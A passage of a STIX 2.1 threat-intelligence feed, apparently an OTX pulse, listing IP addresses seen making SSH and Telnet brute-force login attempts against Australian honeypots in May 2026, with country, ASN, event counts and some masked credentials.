      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CG. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--7a104b4e-dec8-4864-be9d-1ded0cc98e28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.141.54.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 137048. Organisation(s): X-LINK LIMITED.",
      "id": "indicator--d439ce97-1608-48bb-8b11-0c80e1d7bf6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.103.33.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 37119. Organisation(s): UNITEL.",
      "id": "indicator--8c3c90bd-74aa-43e0-8bd2-cfedf4721be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.172.237.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--ed58a5f3-c294-40ef-aa01-b987f9192b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.203.83.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--e14cc468-07dc-470a-9051-d9b6f1bfcc9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.173.165.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--863928e1-2d63-470d-855c-11dd469b0ef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.209.235.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--138281f1-d114-436a-b568-de8c046a4ad3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--01a651cb-74f8-4051-b322-440b054c5d6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263905. Organisation(s): New Group Telecomunicacoes LTDA.",
      "id": "indicator--6b39d54e-a0c6-44dc-9a32-65b8a0d65d71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.80.71.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--55900822-b41c-4d03-866a-f18d12706b5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.180.251.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265719. Organisation(s): ENZO RAUL GALVAN.",
      "id": "indicator--e366f27a-fd5f-4c8d-98a8-68e9aee0deda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.182.251.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--bd6c553a-0db3-479a-8706-315b4847111a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.48.217.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--ddf636ee-aae7-4a7b-8a3a-bcd77963f616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.52.197.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--e25f0419-16f4-43e5-8da7-1e41c3af9725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.139.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--3e2f7b04-4161-45d7-953f-865d4c868b23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.36.202.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--0cc38b79-e4ac-4544-99a4-04ee4733c5ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.23.181.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--51b29d07-75cc-490c-9909-75a4c4b7b2ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3166378a-68f1-4b69-b8ce-3daef32722b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:15:10.000Z",
      "valid_until": "2026-06-08T11:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u**r, 3**********4, u****u, w******n. Passwords observed (masked): 3***********4, 3**********4, P**********3, a*********6, q*********y.",
      "id": "indicator--478680a3-0a16-47e5-ba45-c75633bb8c63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.107.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--84efa03a-8bc2-4ee1-ac15-642c810893e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.54.176.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--1082b45d-d2a8-47af-9b5f-b2b380e74392",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.134.199.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2904fa80-babf-4291-bcb8-2ab7c0dcc69e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.231.131.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--020959cb-9b0a-452e-8335-fbf9cb0b4295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.5.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266022. Organisation(s): G & S INFORNET PROVEDOR DE INTERNET EIRELI.",
      "id": "indicator--2d76c29d-d5c7-4d9c-b395-faa05579e63d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.245.127.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 4775. Organisation(s): Globe Telecoms.",
      "id": "indicator--9d9462ca-6d5f-4575-8269-2f4e279fe064",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.190.55.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--bae2eecf-cae0-4e3d-897f-6d554ebc7b05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.233.91.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262663. Organisation(s): METROFLEX TELECOMUNICACOES LTDA.",
      "id": "indicator--9f549da3-2dae-438b-adac-e58b604acb1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.216.2.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8167. Organisation(s): V tal.",
      "id": "indicator--8a0f20a5-e4cf-4040-8bb4-4054907c7c25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.41.74.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a18bac62-ed46-4279-9479-47818b2ef078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--876d7c42-f820-434d-a302-e5617d4673e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.73.241.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T12:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 35320. Organisation(s): Eurotranstelecom Ltd.",
      "id": "indicator--b03d7624-6235-4d20-a566-b52a426e5b77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.93.119.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:15:34.000Z",
      "valid_until": "2026-06-08T12:15:08.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 327885. Organisation(s): Viettel-Tanzania.",
      "id": "indicator--746c2690-f960-4e70-84ba-7c8f80c35796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.255.185.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22080. Organisation(s): Broadbandtech S. A..",
      "id": "indicator--ec7b65df-9e51-4997-a227-3fd889939b9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.112.132.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c25eb13c-70f7-4c20-897f-c6c06ea8c967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.52.215.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--8d274456-b020-4e8f-b122-8541d23a6d1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.233.64.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd.",
